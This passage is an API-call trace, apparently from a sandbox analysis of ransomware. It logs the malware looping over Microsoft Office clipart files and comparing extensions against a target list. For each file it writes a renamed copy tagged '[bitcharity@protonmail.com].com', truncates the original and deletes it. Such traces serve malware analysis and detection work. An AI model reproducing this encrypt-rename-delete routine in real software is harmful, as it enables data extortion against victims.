lpString2="_.WMF") returned -1 [0299.037] lstrlenW (lpString=".ppt") returned 4 [0299.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.037] lstrlenW (lpString=".zip") returned 4 [0299.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.037] lstrlenW (lpString=".rar") returned 4 [0299.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.037] lstrlenW (lpString=".bz2") returned 4 [0299.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.037] lstrlenW (lpString=".7z") returned 3 [0299.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.037] lstrlenW (lpString=".dbf") returned 4 [0299.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.038] lstrlenW (lpString=".1cd") returned 4 [0299.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.038] lstrlenW (lpString=".jpg") returned 4 [0299.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.038] lstrlenW (lpString=".doc") returned 4 [0299.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString=".docx") returned 5 [0299.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.038] lstrlenW (lpString=".pdf") returned 4 [0299.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString=".xls") returned 4 [0299.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.038] lstrlenW (lpString=".xlsx") returned 5 [0299.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.038] lstrlenW (lpString=".ppt") returned 4 [0299.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.038] lstrlenW (lpString=".zip") returned 4 [0299.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.038] lstrlenW (lpString=".rar") returned 4 [0299.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString=".bz2") returned 4 [0299.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.038] lstrlenW (lpString=".7z") returned 3 [0299.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.038] lstrlenW (lpString=".dbf") returned 4 [0299.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.039] lstrlenW (lpString=".1cd") returned 4 [0299.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.039] lstrlenW (lpString=".jpg") returned 4 [0299.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.039] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.039] lstrlenW (lpString="HH00231_.WMF") returned 12 [0299.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.039] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2232) returned 1 [0299.039] CloseHandle (hObject=0x10c8) returned 1 [0299.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0299.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.040] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.040] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0299.040] GetLastError () returned 0x0 [0299.040] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0299.128] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0299.129] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.129] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.129] SetEndOfFile (hFile=0x10b8) returned 1 [0299.130] CloseHandle (hObject=0x10b8) returned 1 [0299.130] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.130] SetEndOfFile (hFile=0x10c8) returned 1 [0299.131] CloseHandle (hObject=0x10c8) returned 1 [0299.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0299.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.131] lstrlenW (lpString=".doc") returned 4 [0299.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.131] lstrlenW (lpString=".docx") returned 5 [0299.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.131] lstrlenW (lpString=".pdf") returned 4 [0299.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.131] lstrlenW (lpString=".xls") returned 4 [0299.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.131] lstrlenW (lpString=".xlsx") returned 5 [0299.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.131] lstrlenW (lpString=".ppt") returned 4 [0299.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.132] lstrlenW (lpString=".zip") returned 4 [0299.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.132] lstrlenW (lpString=".rar") returned 4 [0299.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString=".bz2") returned 4 [0299.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString=".7z") returned 3 [0299.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.132] lstrlenW (lpString=".dbf") returned 4 [0299.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.132] lstrlenW (lpString=".1cd") returned 4 [0299.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.132] lstrlenW (lpString=".jpg") returned 4 [0299.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.132] lstrlenW (lpString=".doc") returned 4 [0299.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString=".docx") returned 5 [0299.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.132] lstrlenW (lpString=".pdf") returned 4 [0299.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString=".xls") returned 4 [0299.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.132] lstrlenW (lpString=".xlsx") returned 5 [0299.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.132] lstrlenW (lpString=".ppt") returned 4 [0299.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.133] lstrlenW (lpString=".zip") returned 4 [0299.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.133] lstrlenW (lpString=".rar") returned 4 [0299.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.133] lstrlenW (lpString=".bz2") returned 4 [0299.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.133] lstrlenW (lpString=".7z") returned 3 [0299.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.133] lstrlenW (lpString=".dbf") returned 4 [0299.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.133] lstrlenW (lpString=".1cd") returned 4 [0299.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0299.133] lstrlenW (lpString=".jpg") returned 4 [0299.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.133] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.133] lstrlenW (lpString="HH00260_.WMF") returned 12 [0299.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.133] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3662) returned 1 [0299.134] CloseHandle (hObject=0x10c8) returned 1 [0299.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0299.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.134] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.134] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0299.134] GetLastError () returned 0x0 [0299.134] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0299.177] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xe50, lpOverlapped=0x0) returned 1 [0299.179] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.179] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.179] SetEndOfFile (hFile=0x10b8) returned 1 [0299.179] CloseHandle (hObject=0x10b8) returned 1 [0299.179] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.179] SetEndOfFile (hFile=0x10c8) returned 1 [0299.180] CloseHandle (hObject=0x10c8) returned 1 [0299.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0299.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.181] lstrlenW (lpString=".doc") returned 4 [0299.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString=".docx") returned 5 [0299.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.181] lstrlenW (lpString=".pdf") returned 4 [0299.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString=".xls") returned 4 [0299.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.181] lstrlenW (lpString=".xlsx") returned 5 [0299.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.181] lstrlenW (lpString=".ppt") returned 4 [0299.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.181] lstrlenW (lpString=".zip") returned 4 [0299.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.181] lstrlenW (lpString=".rar") returned 4 [0299.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString=".bz2") returned 4 [0299.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString=".7z") returned 3 [0299.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.181] lstrlenW (lpString=".dbf") returned 4 [0299.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.181] lstrlenW (lpString=".1cd") returned 4 [0299.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.181] lstrlenW (lpString=".jpg") returned 4 [0299.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.182] lstrlenW (lpString=".doc") returned 4 [0299.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString=".docx") returned 5 [0299.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.182] lstrlenW (lpString=".pdf") returned 4 [0299.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString=".xls") returned 4 [0299.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.182] lstrlenW (lpString=".xlsx") returned 5 [0299.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.182] lstrlenW (lpString=".ppt") returned 4 [0299.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.182] lstrlenW (lpString=".zip") returned 4 [0299.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.182] lstrlenW (lpString=".rar") returned 4 [0299.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString=".bz2") returned 4 [0299.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString=".7z") returned 3 [0299.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.182] lstrlenW (lpString=".dbf") returned 4 [0299.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.182] lstrlenW (lpString=".1cd") returned 4 [0299.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0299.182] lstrlenW (lpString=".jpg") returned 4 [0299.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.183] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.183] lstrlenW (lpString="HH00513_.WMF") returned 12 [0299.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.183] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=818) returned 1 [0299.183] CloseHandle (hObject=0x10c8) returned 1 [0299.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0299.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.183] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.183] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0299.184] GetLastError () returned 0x0 [0299.184] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x332, lpOverlapped=0x0) returned 1 [0299.352] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x340, lpOverlapped=0x0) returned 1 [0299.353] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.353] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.353] SetEndOfFile (hFile=0x10b8) returned 1 [0299.353] CloseHandle (hObject=0x10b8) returned 1 [0299.353] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.353] SetEndOfFile (hFile=0x10c8) returned 1 [0299.354] CloseHandle (hObject=0x10c8) returned 1 [0299.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString=".doc") returned 4 [0299.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString=".docx") returned 5 [0299.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.355] lstrlenW (lpString=".pdf") returned 4 [0299.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString=".xls") returned 4 [0299.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.355] lstrlenW (lpString=".xlsx") returned 5 [0299.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.355] lstrlenW (lpString=".ppt") returned 4 [0299.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft 